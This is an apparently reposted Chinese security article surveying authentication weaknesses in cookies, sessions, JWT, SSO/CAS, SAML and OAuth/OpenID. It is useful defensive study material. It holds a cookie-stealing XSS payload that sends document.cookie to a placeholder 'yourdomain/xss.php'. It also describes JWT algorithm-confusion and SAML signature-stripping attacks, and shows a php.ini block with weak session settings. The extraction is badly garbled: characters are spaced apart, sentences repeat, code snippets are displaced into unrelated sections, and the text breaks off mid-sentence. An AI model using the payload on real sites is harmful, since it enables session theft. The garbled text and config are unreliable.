搜索

[14045] 2019-04-29_一文看懂认证安全问题总结篇

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2019-04-29_一文看懂认证安全问题总结篇 一 文 看 懂 认 证 安 全 问 题 总 结 篇 l i t t l e p o t a t o   F r e e B u f   2 0 1 9 - 0 4 - 2 9 研 究 认 证 相 关 的 安 全 问 题 也 有 一 段 实 践 了 ， 今 天 就 对 认 证 相 关 的 安 全 问 题 做 个 总 结 。 其 中 涉 及 到 一 些 前 置 概 念 这 里 无 法 一 一 讲 解 ， 可 以 在 相 关 研 究 认 证 相 关 的 安 全 问 题 也 有 一 段 实 践 了 ， 今 天 就 对 认 证 相 关 的 安 全 问 题 做 个 总 结 。 其 中 涉 及 到 一 些 前 置 概 念 这 里 无 法 一 一 讲 解 ， 可 以 在 相 关 R F C 文 档 或 者 链 接 中 深 入 阅 读 ， 笔 者 已 经 文 档 或 者 链 接 中 深 入 阅 读 ， 笔 者 已 经 把 相 关 资 料 整 理 收 录 在 参 考 链 接 。 本 文 更 多 的 是 对 认 证 相 关 的 安 全 问 题 做 个 总 结 。 另 外 文 中 引 用 了 一 些 网 络 中 的 图 片 ， 由 于 来 源 不 一 ， 所 以 就 不 逐 个 标 明 ， 在 此 一 并 感 谢 。 把 相 关 资 料 整 理 收 录 在 参 考 链 接 。 本 文 更 多 的 是 对 认 证 相 关 的 安 全 问 题 做 个 总 结 。 另 外 文 中 引 用 了 一 些 网 络 中 的 图 片 ， 由 于 来 源 不 一 ， 所 以 就 不 逐 个 标 明 ， 在 此 一 并 感 谢 。 序 序 先 对 这 些 认 证 相 关 的 东 东 做 个 简 单 的 归 类 ： P K I ， X 5 0 9 是 公 钥 密 码 领 域 用 来 进 行 公 钥 认 证 ， 管 理 ， 分 发 的 机 构 以 及 规 范 ； c o o k i e ， s e s s i o n ， J W T 是 w e b 领 域 保 持 会 话 状 态 的 ； A D S 是 活 动 目 录 服 务 器 系 统 ， 与 L M ， N T L M ， k e r b e r o s 一 道 与 w i n d o w s 认 证 或 w i n d o w s 域 认 证 密 不 可 分 ； O a u t h 和 O p e n I D 都 可 以 作 为 认 证 需 求 ， 只 不 过 前 者 多 了 授 权 的 概 念 ； S S O 是 单 点 登 陆 ， 是 企 业 里 面 使 用 比 较 多 的 概 念 ， 实 现 了 S S O 的 协 议 有 很 多 ， 包 括 k e r b e r o s ， C A S 等 ， 而 S A M L 就 作 为 单 点 认 证 过 程 中 的 x m l 数 据 载 体 ， 也 可 以 说 是 一 种 协 议 ， 提 供 了 协 议 商 定 字 段 规 范 。 咋 一 看 会 觉 得 S S O 和 O a u t h ， O p e n I D 有 点 类 似 ， 其 实 他 们 很 不 一 样 。 S S O 希 望 达 到 的 效 果 是 登 陆 一 次 在 e x p i r e 期 限 内 访 问 所 有 服 务 ， 即 使 是 跨 域 状 态 ， 但 是 O a u t h 或 者 O p e n I D 实 现 的 是 使 用 同 一 平 台 账 号 登 陆 不 同 服 务 。 这 里 会 有 疑 问 ， 这 样 看 来 不 是 和 S S O 一 样 了 吗 ？ 其 实 不 然 ， 我 们 注 意 到 O a u t h 或 者 O p e n I D 登 陆 不 同 的 服 务 是 需 要 一 直 授 权 的 ， 举 个 例 子 ， 我 们 登 陆 淘 宝 和 微 博 是 需 要 授 权 两 次 ， 但 是 在 S S O 中 就 不 一 样 了 。 举 个 例 子 ， 在 公 司 中 我 只 要 认 证 一 次 ， 就 可 以 访 问 生 产 网 上 的 所 有 服 务 ， 也 可 以 访 问 办 公 网 上 的 一 些 资 源 ， 我 们 只 需 要 一 次 认 证 ， 这 样 来 看 就 可 以 理 解 二 者 的 不 同 了 。 0 x 0 1   c o o k i e ， ， s e s s i o n ， ， J W T c o o k i e ， s e s s i o n ,   J W T 都 可 以 用 来 记 录 会 话 状 态 ， J W T 是 一 种 相 对 前 两 者 比 较 新 的 概 念 ， 和 c o o k i e 一 样 需 要 保 存 在 客 户 端 ， s e s s i o n 保 存 在 服 务 端 。 这 里 先 主 要 聊 聊 c o o k i e 和 s e s s i o n 。 直 接 看 几 张 图 我 们 就 可 以 对 c o o k i e ， s e s s i o n 的 原 理 有 所 了 解 。 以 p h p 为 例 ， 服 务 端 s e s s i o n 生 成 以 及 c o o k i e 生 成 的 过 程 ： 客 户 端 c o o k i e 和 s e s s i o n 的 体 现 ， s e s s i o n 字 段 在 c o o k i e 里 面 浏 览 器 对 c o o k i e 和 s e s s i o n 的 缓 存 服 务 端 对 s e s s i o n 的 保 存 形 式 根 据 使 用 习 惯 有 以 下 几 点 特 性 ： 1 .   c o o k i e 数 据 存 放 在 客 户 的 浏 览 器 上 ， s e s s i o n 数 据 放 在 服 务 器 上 ； 2 .   c o o k i e 不 是 很 安 全 ， 别 人 可 以 分 析 存 放 在 本 地 的 C O O K I E 并 进 行 C O O K I E 欺 骗 考 虑 到 安 全 应 当 使 ； 3 .   用 s e s s i o n 。 将 登 陆 信 息 等 重 要 信 息 存 放 为 S E S S I O N ， 其 他 信 息 如 果 需 要 保 留 ， 可 以 放 在 C O O K I E 中 ， 减 轻 服 务 端 压 力 。 4 .   单 个 c o o k i e 保 存 的 数 据 不 能 超 过 4 K ， 很 多 浏 览 器 都 限 制 一 个 站 点 最 多 保 存 2 0 个 c o o k i e 。 c o o k i e 的 六 元 组 的 理 解 的 六 元 组 的 理 解 s e t c o o k i e ( n a m e , v a l u e , e x p i r e , p a t h , d o m a i n , s e c u r e , h t t p o n l y ) 1 .   n a m e 和 v a l u e 字 段 自 是 不 必 多 说 ， k e y - v a l u e 键 值 对
2 .   e x p i r e 规 定 了 c o o k i e 的 过 期 时 间 3 .   p a t h 从 路 径 上 指 定 了 在 请 求 某 个 特 定 的 u r l 目 录 的 时 候 需 要 发 送 c o o k i e 值 到 服 务 端 4 .   d o m a i n 则 从 域 名 上 指 定 了 在 访 问 某 个 域 的 时 候 需 要 发 送 c o o k i e 值 到 服 务 端 ， 默 认 就 是 产 生 c o o k i e 时 候 的 域 名 ， 在 大 型 的 多 子 域 名 下 的 网 站 可 以 使 用 这 个 字 段 将 d o m a i n 设 置 成 根 域 实 现 c o o k i e 共 享 。 5 .   s e c u r e 属 性 则 表 明 只 有 当 一 个 请 求 通 过   S S L   或   H T T P S   创 建 时 ， 包 含   s e c u r e   选 项 的   c o o k i e   才 能 被 发 送 至 服 务 器 。 这 种   c o o k i e   的 内 容 具 有 很 高 的 价 值 ， 如 果 以 纯 文 本 形 式 传 递 很 有 可 能 被 篡 改 。 6 .   h t t p o n l y 设 置 成   T R U E ， C o o k i e   仅 可 通 过   H T T P   协 议 访 问 。   这 意 思 就 是   C o o k i e   无 法 通 过 类 似   J a v a S c r i p t   这 样 的 脚 本 语 言 访 问 。   要 有 效 减 少   X S S 攻 击 时 的 身 份 窃 取 行 为 ， 可 建 议 用 此 设 置 （ 虽 然 不 是 所 有 浏 览 器 都 支 持 ） ， 不 过 这 个 说 法 经 常 有 争 议 。   P H P   5 . 2 . 0   中 添 加 。   T R U E   或   F A L S E 会 话 控 制 关 键 配 置 会 话 控 制 关 键 配 置 h t t p s : / / w w w . p h p . n e t / m a n u a l / e n / s e s s i o n . s e c u r i t y . i n i . p h p 注 意 到 会 话 中 有 一 些 配 置 和 之 前 提 到 的 c o o k i e 六 元 组 有 相 似 的 地 方 ， 但 是 设 置 的 地 方 不 一 样 ， s e s s i o n 是 通 过 p h p 配 置 项 直 接 管 理 ， 而 c o o k i e 在 运 行 时 设 定 ， 通 过 s e t - c o o k i e 相 应 头 反 馈 给 客 户 端 。 下 面 主 要 聊 聊 c o o k i e 和 s e s s i o n 常 见 的 安 全 问 题 ： 1 .   c o o k i e 字 段 未 设 置 H t t p O n l y 容 易 被 D O M 访 问 ， 结 合 x s s 脚 本 劫 持 攻 击 ， 利 用 如 下 ： 2 .   会 话 固 定 （ s e s s i o n   f i x a t i o n ） ， 用 户 未 认 证 前 和 认 证 后 的 s e s s i o n I D 没 有 刷 新 ， 导 致 可 以 利 用 社 工 或 者 X S S 等 手 段 达 到 让 其 他 人 用 自 己 已 知 的 s e s s i o n I D 登 陆 ， 从 何 获 取 受 害 者 会 话 。 h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / S e s s i o n _ f i x a t i o n 笔 者 一 开 始 以 为 会 话 固 定 是 个 比 较 容 易 被 忽 视 的 漏 洞 点 ， 所 以 尝 试 搭 建 环 境 复 现 了 解 下 细 节 ， 也 尝 试 了 上 述 链 接 提 到 的 常 见 的 几 种 利 用 手 段 。 但 是 发 现 一 个 问 题 ， 要 想 利 用 会 话 固 定 漏 洞 ， 怎 么 把 固 定 的 s e s s i o n I D 注 入 v i c t i m 的 浏 览 器 中 ， 并 且 是 和 所 要 访 问 站 点 是 同 源 态 。 基 于 这 两 个 限 制 ， 利 用 的 条 件 变 得 相 当 的 苛 刻 。 经 过 一 番 实 践 大 致 可 以 得 到 四 种 思 路 ： 1 .   中 间 人 劫 持 ， 直 接 注 入 s e s s i o n I D 2 .   利 用 同 源 站 点 的 X S S ， 在 没 有 设 置 和 h t t p o n l y 条 件 下 ， d o c u m e n t . c o o k i e 直 接 修 改 3 .   利 用 站 点 C L R F 漏 洞 ， 注 入 s e s s i o n I D 4 .   u s e o n l y c o o k i e s 字 段 关 闭 下 ， U R L 传 递 s e s s i o n I D ， p h p 默 认 开 启 。 当 看 到 p h p 默 认 开 启 u s e o n l y c o o k i e ， 心 里 拔 凉 ， 毕 竟 前 三 种 利 用 的 前 提 多 多 少 少 有 些 苛 刻 ， 甚 至 让 人 绝 望 。 后 来 经 过 一 番 搜 索 了 解 到 ， j a v a E E 默 认 是 支 持 j s e s s i o n i d ， 目 的 就 是 避 免 有 些 浏 览 器 不 支 持 c o o k i e ， 这 样 是 为 了 兼 容 ， 如 此 一 来 ， 会 话 固 定 就 又 有 了 很 多 的 利 用 价 值 。 这 里 有 一 个 老 哥 和 我 的 疑 问 类 似 h t t p s : / / j u l i e n p r o g . w o r d p r e s s . c o m / 2 0 1 7 / 0 8 / 1 7 / s e s s i o n - i d - i n - t h e - u r l - i s - i t - a - v u l n e r a b i l i t y / 。 总 的 来 说 ， 尽 管 s e s s i o n I D 暴 露 在 u r l 存 在 一 定 安 全 隐 患 ， 但 是 为 了 兼 容 ， 也 还 有 不 少 网 站 使 用 这 个 做 法 ， 让 会 话 固 定 利 用 有 了 更 低 的 门 槛 。 同 样 的 ， 进 一 步 的 了 解 发 现 ， p h p   子 系 统 s e s s i o n 会 话 固 定 有 一 个 C V E 编 号 ： C V E - 2 0 1 1 - 4 7 1 8 。 后 来 多 的 改 进 措 施 是 更 新 重 写 了 一 些 函 数 ， 并 出 现 了 s e s s i o n . u s e s t r i c t m o d e 模 式 。 在 打 开 这 个 模 式 并 且 按 照 官 方 的 实 例 代 码 ， 可 以 很 好 的 避 免 会 话 固 定 漏 洞 。 登 陆 期 间 后 端 s e s s i o n 生 成 p h p . i n i #   有 效 期 s e s s i o n . c o o k i e _ l i f e t i m e   =   0 #   有 效 路 径 s e s s i o n . c o o k i e _ p a t h   =   / #   有 效 域 s e s s i o n . c o o k i e _ d o m a i l = . . . #   h t t p o n l y 属 性 s e s s i o n . c o o k i e _ h t t p o n l y   =   1 #   防 御 会 话 固 定 ， 防 止 s e s s i o n 未 初 始 化 ， 默 认 是 0 不 开 启 ， [ h t t p s : / / w i k i . p h p . n e t / r f c / s t r i c t _ s e s s i o n s ] ( h t t p s : / / w i k i . p h p . n e t / r f c / s t r i c t _ s e s s i o n s ) s e s s i o n . u s e _ s t r i c t _ m o d e = 0 #   是 否 安 全 传 输 ， 仅 当 使 用 h t t p s 传 输 时 才 可 访 问 会 话 s e s s i o n . c o o k i e _ s e c u r e   =   o n #   表 示 S E S S I O N 技 术 的 实 现 是 否 需 要 依 赖 C O O K I E   1 表 示 是   0 表 示 否 。 如 果 开 启 会 话 i d 将 只 在 c o o k i e 中 存 储 ， 避 免 了 u r l 传 递 会 话 的 攻 击 。 s e s s i o n . u s e _ o n l y _ c o o k i e s   =   0 #   表 示 是 否 允 许 使 用 表 单 传 值 的 方 式 传 递 P H P S E S S I D   0 表 示 否   1 表 示 是 s e s s i o n . u s e _ t r a n s _ s i d   =   1 #   s e s s i o n 的 散 列 函 数 s e s s i o n . h a s h _ f u n c t i o n = " s h a 2 5 6 " < i m g   s r c = #   o n e r r o r =   " [ h t t p : / / y o u r d o m a i n / x s s . p h p ? d a t a = ] ( h t t p : / / y o u r d o m a i n / x s s . p h p ? d a t a = ) "   +   d o c u m e n t . c o o k i e > s e s s i o n _ d e s t o r y ( ) ;
认 证 会 话 校 验 J W T 全 名 是 j s o n   w e b   t o k e n ， 和 c o o k i e ， s e s s i o n 一 样 也 是 用 来 会 话 保 持 的 。 与 c o o k i e 和 s e s s i o n 机 制 不 同 的 是 ， 它 不 需 要 再 服 务 端 保 持 会 话 状 态 ， 每 个 J W T 完 全 标 识 了 一 个 用 户 的 登 陆 态 ， 并 且 t o k e n 完 全 保 存 在 客 户 端 ， 在 需 要 访 问 受 访 问 控 制 的 页 面 的 时 候 就 需 要 使 用 t o k e n , t o k e n 可 以 存 储 在 l o c a l s t o r a g e 或 者 c o o k i e 字 段 。 T o k e n   由 头 部   ( h e a d e r ) 、 负 载   ( p a y l o a d ) 、 签 名   ( s i g n a t u r e )   组 成 。 在 很 多 找 回 密 码 或 者 验 证 邮 箱 的 功 能 中 ， 会 使 用 到 J W T 这 一 技 术 ， 将 状 态 完 全 保 存 在 客 户 端 ， 可 以 很 大 的 释 放 服 务 端 的 资 源 压 力 ， 也 使 得 逻 辑 线 没 那 么 冗 长 。 有 小 伙 伴 可 能 会 对 完 全 保 存 存 在 客 户 端 的 j w t 的 安 全 性 存 在 顾 虑 ， j w t 的 设 计 之 初 的 协 议 是 语 义 安 全 的 。 因 为 服 务 端 有 签 名 的 私 钥 ， 只 有 服 务 端 可 以 签 名 和 验 证 签 名 。 在 使 用 安 全 的 签 名 算 法 的 条 件 下 可 以 保 证 不 可 篡 改 。 但 是 这 一 顾 虑 却 是 很 应 该 的 。 协 议 设 计 没 问 题 ， 不 代 表 实 现 没 问 题 （ 这 是 一 条 很 实 用 的 定 律 ） 。 现 总 结 一 下 常 见 的 j w t 认 证 安 全 问 题 。 需 要 注 意 的 是 j w t 中 对 应 的 b a s e 6 4 并 不 是 一 个 严 格 意 义 上 的 b a s e 6 4 ， 由 于 t o k e n 有 可 能 被 做 为 u r l ， 而 b a s e 6 4 中 的 三 个 字 符 会 被 转 义 ， 导 致 u r l 变 得 更 长 ， 所 以 t o k e n 的 b a s e 6 4 会 将 转 化 为 、 转 化 为 、 删 除 。 1 . 修 改 认 证 方 式 （ 空 认 证 和 修 改 认 证 方 式 （ 空 认 证 和 H S 2 5 6 认 证 的 缺 陷 ） 认 证 的 缺 陷 ） 如 果 后 端 的 空 认 证 检 测 做 得 不 够 好 ， 就 会 造 成 客 户 端 修 改 签 名 方 式 为 ， 然 后 绕 过 在 服 务 端 的 签 名 认 证 ， 从 未 可 以 实 现 修 改 t o k e n 的 目 的 如 果 后 台 使 用 R S A 私 钥 进 行 认 证 ， 我 们 可 以 把 签 名 换 成 H S 2 5 6 , 然 后 通 过 H M A C - S H A 2 5 6 签 名 算 法 ， 使 用 R S A 公 钥 来 进 行 客 户 端 认 证 篡 改 ， 然 后 实 现 任 意 p a y l o a d 篡 改 的 目 的 。 2 . 弱 认 证 方 式 的 暴 力 破 解 弱 认 证 方 式 的 暴 力 破 解 现 在 G i t H u b 上 有 一 些 相 对 比 较 成 熟 的 工 具 ， 暴 力 破 解 H S 2 5 6 签 名 的 J W T ， 如 果 签 名 的 k e y 是 脆 弱 的 ， 那 么 可 以 直 接 暴 力 解 出 k e y , 然 后 就 可 以 为 所 欲 为 。 3 . 使 用 使 用 r e f r e s h   t o k e n 和 和 a c c e s s   t o k e n   的 非 关 联 性 脆 弱 的 非 关 联 性 脆 弱 授 权 服 务 器 没 有 检 查 r e f r e s h 令 牌 < - > 访 问 令 牌 关 联 。 这 意 味 着 我 可 以 用 a t t a c k 的 r e f r e s h 令 牌 刷 新 v i c t i m 的 访 问 令 牌 。 4 . J W T 中 字 段 涉 数 据 库 查 询 的 注 入 利 用 中 字 段 涉 数 据 库 查 询 的 注 入 利 用 这 一 步 骤 是 指 在 后 台 对 J W T 的 p a y l o a d 数 据 进 行 了 相 应 的 数 据 库 操 作 ， 如 插 入 ， 查 询 等 等 ， 但 是 却 过 滤 不 严 谨 ， 在 利 用 J W T 的 脆 弱 性 后 就 可 以 进 行 任 意 的 s q l 注 入 ， 很 多 时 候 为 了 方 便 ， 可 以 使 用 s q l m a p ， 自 己 编 写 相 关 t e m p l e 脚 本 达 到 自 动 化 注 入 。 上 面 提 到 的 攻 击 方 式 已 经 集 成 到 了 w e b g o a t 靶 场 中 ， 并 且 网 上 也 有 了 不 少 教 程 这 里 就 不 再 啰 嗦 。 0 x 0 2   S S O 单 点 认 证 单 点 认 证 S S O 认 证 最 常 见 的 场 景 是 在 公 司 内 部 实 现 A C L 控 制 的 统 一 化 ， 一 来 是 增 加 企 业 安 全 性 ， 防 止 口 令 泛 滥 ， 而 来 给 员 工 管 理 或 者 资 源 访 问 带 来 方 便 。 那 么 什 么 是 S S O 呢 ？ 先 看 下 下 图 ： s e s s i o n _ r e g e n e r a t e _ i d ( ) ; $ _ S E S S I O N [ ' v a l i d _ i d ' ]   =   s e s s i o n _ i d ( ) ; i f   ( $ _ S E S S I O N [ ' v a l i d _ i d ' ]   ! = =   s e s s i o n _ i d ( ) )   {     d i e ( ' I n v a l i d   u s e   o f   s e s s i o n   I D ' ) ; } + / = + - / _ = n o n e
以 下 内 容 节 选 自 参 考 链 接 [ 3 ] 1 .   用 户 访 问 a p p 系 统 ， a p p 系 统 是 需 要 登 录 的 ， 但 用 户 现 在 没 有 登 录 。 2 .   跳 转 到 C A S   s e r v e r ， 即 S S O 登 录 系 统 ， 以 后 图 中 的 C A S   S e r v e r 我 们 统 一 叫 做 S S O 系 统 。   S S O 系 统 也 没 有 登 录 ， 弹 出 用 户 登 录 页 。 3 .   用 户 填 写 用 户 名 、 密 码 ， S S O 系 统 进 行 认 证 后 ， 将 登 录 状 态 写 入 S S O 的 s e s s i o n ， 浏 览 器 （ B r o w s e r ） 中 写 入 S S O 域 下 的 C o o k i e 。 4 .   S S O 系 统 登 录 完 成 后 会 生 成 一 个 S T （ S e r v i c e   T i c k e t ） ， 然 后 跳 转 到 a p p 系 统 ， 同 时 将 S T 作 为 参 数 传 递 给 a p p 系 统 。 5 .   a p p 系 统 拿 到 S T 后 ， 从 后 台 向 S S O 发 送 请 求 ， 验 证 S T 是 否 有 效 。 6 .   验 证 通 过 后 ， a p p 系 统 将 登 录 状 态 写 入 s e s s i o n 并 设 置 a p p 域 下 的 C o o k i e 。 至 此 ， 跨 域 单 点 登 录 就 完 成 了 。 以 后 我 们 再 访 问 a p p 系 统 时 ， a p p 就 是 登 录 的 。 接 下 来 ， 我 们 再 看 看 访 问 a p p 2 系 统 时 的 流 程 。 1 .   用 户 访 问 a p p 2 系 统 ， a p p 2 系 统 没 有 登 录 ， 跳 转 到 S S O 。 2 .   由 于 S S O 已 经 登 录 了 ， 不 需 要 重 新 登 录 认 证 。 3 .   S S O 生 成 S T ， 浏 览 器 跳 转 到 a p p 2 系 统 ， 并 将 S T 作 为 参 数 传 递 给 a p p 2 。 4 .   a p p 2 拿 到 S T ， 后 台 访 问 S S O ， 验 证 S T 是 否 有 效 。 5 .   验 证 成 功 后 ， a p p 2 将 登 录 状 态 写 入 s e s s i o n ， 并 在 a p p 2 域 下 写 入 C o o k i e S S O 单 点 认 证 的 实 现 方 式 有 很 多 ， 包 括 主 机 认 证 层 面 和 w e b 服 务 用 户 认 证 层 面 。 上 面 的 交 互 过 程 是 w e b 用 户 认 证 层 面 的 交 互 细 节 。 后 面 聊 到 的 W i n d o w 域 认 证 k e r b e r o s 协 议 就 是 主 机 认 证 域 服 务 授 权 的 实 现 方 式 。 S A M L 有 兴 趣 可 以 参 考 S A M L 的 R F C 文 档 往 简 单 了 说 S A M L 就 是 一 种 X M L 数 据 格 式 ， 定 义 了 规 范 字 段 用 于 单 点 认 证 ， 本 身 也 可 以 理 解 为 一 种 协 议 规 范 ， 认 证 媒 介 或 者 数 据 载 体 。 它 作 为 S S O 一 种 常 用 的 实 现 方 式 。 我 们 看 看 S A M L 存 在 的 安 全 隐 患 。 分 析 测 试 工 具 分 析 测 试 工 具 S A M L   R a i d e r   b p ( h t t p s : / / g i t h u b . c o m / S A M L R a i d e r / S A M L R a i d e r ) 安 全 性 问 题 安 全 性 问 题
1 .   删 除 签 名 方 式 标 签 ， 可 以 绕 过 认 证 ， 源 于 s s l 模 式 下 的 认 证 可 选 性 例 子 ：   h t t p s : / / h a c k e r o n e . c o m / r e p o r t s / 1 3 6 1 6 9 2 .   p y t h o n - s a m l 组 件 对 于 字 段 的 提 取 忽 略 标 签 属 性 后 的 值 ， 导 致 截 断 ， 但 是 在 做 整 体 h a s h 校 验 的 时 候 会 先 进 行 规 范 化 忽 略 注 释 ， 导 致 修 改 固 定 字 段 但 s a m l 文 件 仍 旧 校 验 通 过 。 例 子 ： h t t p s : / / d u o . c o m / l a b s / p s a / d u o - p s a - 2 0 1 7 - 0 0 3 3 .   S A M L 消 息 过 期 机 制 和 重 放 ， 如 果 S A M L 中 缺 少 了 消 息 e x p i r a t i o n 定 义 ， 并 且 断 言 I D 不 是 唯 一 的 ， 那 么 就 容 易 受 到 常 见 的 重 放 攻 击 。 0 x 0 3   O a u t h 与 与 O p e n I D 其 实 本 质 上 来 看 ， o p e n I D 和 O a u t h 都 是 S S O 的 一 种 变 形 ， 或 者 说 是 一 种 拓 展 实 现 ， 其 达 到 的 效 果 在 客 户 端 看 来 都 是 使 用 一 个 账 号 登 陆 了 很 多 种 服 务 。 但 是 在 服 务 端 这 几 种 方 式 切 入 点 有 不 同 。 S S O 的 初 衷 是 为 了 实 现 A C L 收 敛 到 一 个 入 口 ， 方 便 做 权 限 管 理 ， 避 免 密 钥 泛 滥 造 成 的 安 全 隐 患 。 而 O p e n I D 是 一 种 将 认 证 承 包 给 第 三 方 服 务 的 做 法 ， 使 得 服 务 商 可 以 避 免 复 杂 的 I D 管 理 ， 而 专 注 于 业 务 。 O a u t h 其 实 一 开 始 不 是 用 来 做 认 证 的 ， 而 是 一 种 授 权 ， 举 个 例 子 ， 服 务 商 A 和 服 务 商 B 隶 属 不 同 公 司 ， 但 是 A 的 服 务 需 要 用 到 B 服 务 中 的 一 些 资 源 ， 这 个 时 候 就 需 要 c l i e n t 将 A 服 务 的 账 号 和 B 服 务 的 账 号 关 联 ， 走 O a u t h 的 协 议 实 现 这 一 资 源 请 求 的 授 权 ， 只 不 过 到 了 O a u t h   2 . 0 以 后 ， 人 们 发 现 授 权 的 过 程 包 含 了 认 证 的 过 程 ， 所 以 干 脆 就 直 接 可 以 使 用 O a u t h 来 进 行 认 证 。 O p e n I D 国 内 一 般 都 用 O a u t h 2 协 议 做 认 证 和 授 权 ， 所 以 这 里 只 介 绍 一 下 O p e n I D 的 相 关 概 念 。 首 先 介 绍 概 念 ： 1 .   终 端 用 户 请 求 登 录 R P 网 站 ， 用 户 选 择 了 以 O p e n I D 方 式 来 登 录 2 .   R P 将 O p e n I d 的 登 录 界 面 返 回 给 终 端 用 户 3 .   终 端 用 户 以 O p e n I D 登 陆 R P 网 站 4 .   R P 网 站 对 用 户 的 O p e n I D 进 行 标 准 化 ， 此 过 程 非 常 复 杂 。 由 于 O p e n I D 可 能 是 U R I ， 也 可 能 是 X R I ， 所 以 标 准 化 方 式 各 不 相 同 。 具 体 标 准 化 过 程 是 ： 如 果 O p e n I D 以 x r i : / / 、 x r i : / / $ i p 或 者 x r i : / / $ d n s 开 头 ， 先 去 掉 这 些 符 号 ； 然 后 对 如 下 的 字 符 串 进 行 判 断 ， 如 果 第 一 个 字 符 是 = 、 @ 、 + 、 $ 、 ! ， 则 视 为 标 准 的 X R I ， 否 则 视 为 H T T P   U R L （ 若 没 有 h t t p , 为 其 增 加 h t t p : / / ） 。 5 .   R P 发 现 O P ， 如 果 O p e n I d 是 X R I ， 就 采 用 X R I 解 析 ， 如 果 是 U R L ， 则 用 Y a d i s 协 议 解 析 ， 若 Y a d i s 解 析 失 败 ， 则 用 H t t p 发 现 。 6 .   R P 跟 O P 建 立 一 个 关 联 。 两 者 之 间 可 以 建 立 一 个 安 全 通 道 ， 用 于 传 输 信 息 并 降 低 交 互 次 数 。 7 .   O P 处 理 R P 的 关 联 请 求 8 .   R P 请 求 O P 对 用 户 身 份 进 行 鉴 权 -   E n d   U s e r ： 终 端 用 户 ， 使 用 O P 与 R P 的 服 务 -   R e l y i n g   P a r t y 依 赖 方 ： 简 称 R P ， 服 务 提 供 者 ， 需 要 O P 鉴 权 终 端 用 户 的 身 份 -   O p e n I D   P r o v i d e r ： O p e n I D 提 供 者 ， 简 称 O P ， 对 用 户 身 份 鉴 权 -   I d e n t i f i e r 标 识 符 ： 标 识 符 可 以 是 一 个 H T T P 、 H T T P S 或 者 X R I ( 可 扩 展 的 资 源 标 识 ) -   U s e r - A g e n t ： 实 现 了 H T T P 1 . 1 协 议 的 用 户 浏 览 器 -   O P   E n d p o i n t   U R L ： O P 鉴 权 的 U R L ， 提 供 给 R P 使 用 -   O P   I d e n t i f i e r ： O P 提 供 给 终 端 用 户 的 一 个 U R I 或 者 X R I , R P 根 据 O P   I d e n t i f i e r 来 解 析 出 O P   E n d p o i n t   U R L 与 O P   V e r s i o n -   U s e r - S u p p l i e d   I d e n t i f i e r ： 终 端 用 户 使 用 的 I D ， 可 能 是 O P 提 供 的 O p e n I D ， 也 可 以 是 在 R P 注 册 的 I D 。 R P 可 以 根 据 U s e r - S u p p l i e d     -   I d e n t i f i e r 来 解 析 出 O P   E n d p o i n t   U R L 、 O P   V e r s i o n 与 O P _ L o c a l   I d e n t i f e r -   C l a i m e d   I d e n t i f i e r ： 终 端 用 户 声 明 自 己 身 份 的 一 个 标 志 ， 可 以 是 一 个 U R I 或 者 X R I -   O P - L o c a l   I d e n t i f i e r ： O P 提 供 的 局 部 I D
9 .   O P 对 用 户 鉴 权 ， 请 求 用 户 进 行 登 录 认 证 1 0 .   用 户 登 录 O P 1 1 .   O P 将 鉴 权 结 果 返 回 给 R P 1 2 .   R P 对 O P 的 结 果 进 行 分 析 O a u t h O a u t h 在 国 内 用 得 比 较 多 ， 这 里 就 重 点 聊 聊 O a u t h 。 O p e n I D 是 用 来 认 证 协 议 ， O A u t h 是 授 权 协 议 ， 二 者 是 互 补 的 。 但 在 国 内 的 使 用 情 况 中 ， O a u t h 被 作 为 认 证 进 行 “ 滥 用 ” ， 所 以 在 国 内 基 本 都 是 采 用 O a u t h 这 种 方 式 进 行 第 三 方 账 号 登 陆 。 在 学 习 O a u t h 之 前 ， 需 要 先 了 解 以 下 O a u t h 的 发 展 史 。 2 0 0 7 年 1 2 月 4 日 发 布 了 O A u t h   C o r e   1 . 0 ，   此 版 本 的 协 议 存 在 严 重 的 安 全 漏 洞 ： O A u t h   S e c u r i t y   A d v i s o r y :   2 0 0 9 . 1 。 2 0 0 9 年 6 月 2 4 日 发 布 了 O A u t h   C o r e 1 . 0   R e v i s i o n   A ： 此 版 本 的 协 议 修 复 了 前 一 版 本 的 安 全 漏 洞 ， 并 成 为 R F C 5 8 4 9 ， 我 们 现 在 使 用 的 O A u t h 版 本 多 半 都 是 以 此 版 本 为 基 础 。 O A u t h   2 . 0 是 O A u t h 协 议 的 下 一 版 本 ， 但 不 向 后 兼 容 O A u t h 1 . 0 。   O A u t h   2 . 0 关 注 客 户 端 开 发 者 的 简 易 性 ， 同 时 为 W e b 应 用 ， 桌 面 应 用 和 手 机 ， 和 起 居 室 设 备 提 供 专 门 的 认 证 流 程 。 国 内 常 用 的 第 三 方 平 开 放 台 国 内 常 用 的 第 三 方 平 开 放 台 O a u t h 2 几 个 概 念 ： 几 个 概 念 ： 1 . r e s o u r c e   o w n e r ， 资 源 所 有 者 ， 能 够 允 许 访 问 受 保 护 资 源 的 实 体 。 如 果 是 个 人 ， 被 称 为   e n d - u s e r 。 2 . r e s o u r c e   s e r v e r ， 资 源 服 务 器 ， 托 管 受 保 护 资 源 的 服 务 器 。 3 . c l i e n t ， 客 户 端 ， 使 用 资 源 所 有 者 的 授 权 代 表 资 源 所 有 者 发 起 对 受 保 护 资 源 的 请 求 的 应 用 程 序 。 如 ： w e b 网 站 ， 移 动 应 用 等 。 4 . a u t h o r i z a t i o n   s e r v e r ， 授 权 服 务 器 ， 能 够 向 客 户 端 颁 发 令 牌 。 5 . u s e r - a g e n t ， 用 户 代 理 ， 帮 助 资 源 所 有 者 与 客 户 端 沟 通 的 工 具 ， 一 般 为   w e b   浏 览 器 ， 移 动   A P P   等 。 一 个 客 户 端 想 要 获 得 授 权 ， 就 需 要 先 到 服 务 商 那 注 册 你 的 应 用 。 一 般 需 要 你 提 供 下 面 这 些 信 息 ： 1 . 应 用 名 称 2 . 应 用 网 站 3 . 重 定 向   U R I   或 回 调   U R L （ r e d i r e c t _ u r i ） 在 发 送 O a u t h 请 求 的 时 候 ， 我 们 经 称 容 易 在 请 求 头 部 看 到 如 下 几 个 参 数 ： 1 . c l i e n t _ i d 客 户 端 标 识 , 这 个 参 数 是 和 客 户 端 一 一 对 应 的 , 这 样 服 务 端 才 知 道 认 证 请 求 来 自 哪 个 客 户 端 . 例 如 ” 1 0 1 0 1 9 0 3 4 ” 代 表 的 就 是 新 浪 微 博 这 个 客 户 端 2 . r e s p o n s e _ t y p e 授 权 类 型 , 上 文 已 经 说 了 O A u t h 有 多 种 授 权 类 型 . 此 处 ” c o d e ” 代 表 使 